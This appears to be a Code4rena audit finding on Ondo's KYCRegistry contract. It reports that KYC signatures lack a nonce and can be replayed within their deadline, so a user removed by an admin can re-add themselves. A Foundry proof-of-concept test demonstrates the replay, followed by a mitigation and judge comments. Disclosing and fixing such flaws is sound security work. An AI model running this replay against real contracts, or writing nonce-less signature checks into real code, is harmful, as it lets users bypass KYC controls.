lack of nonce in kyc signature enables replay

[code423n4]

Lines of code

https://github.com/code-423n4/2023-01-ondo/blob/main/contracts/cash/kyc/KYCRegistry.sol#L94

Vulnerability details

Description

To prove you have done KYC ondo provides a signature that you can use to add a user as having done KYC.

An admin can also go in and later remove this.

But due to a lack of nonce used the same signature, if it is still withing deadline, can be used to re-add the user as KYCed even after it has been removed.

Impact

A user can re-add themselves as KYCed even after an admin has removed them. Given that the deadline still holds

Proof of Concept

PoC test in RegistrySignature.sol:

  function test_signature_replay_after_removed() public {
    // first add via signature
    vm.prank(user1);
    registry.addKYCAddressViaSignature(1, user1, deadline, v, r, s);
    assertEq(registry.getKYCStatus(1, user1), true);

    address[] memory addresses = new address[](1);
    addresses[0] = user1;

    // signer removes kyc for user1
    vm.prank(signer);
    registry.removeKYCAddresses(1, addresses);
    assertEq(registry.getKYCStatus(1, user1), false);

    // user1 can still use the same signature to re-add themselves
    vm.prank(user1);
    registry.addKYCAddressViaSignature(1, user1, deadline, v, r, s);
    assertEq(registry.getKYCStatus(1, user1), true);
  }

Tools Used

vs vode, force

Recommended Mitigation Steps

use a per user nonce when providing a signature

[c4-judge]

trust1995 marked the issue as duplicate of #187

[c4-judge]

trust1995 marked the issue as satisfactory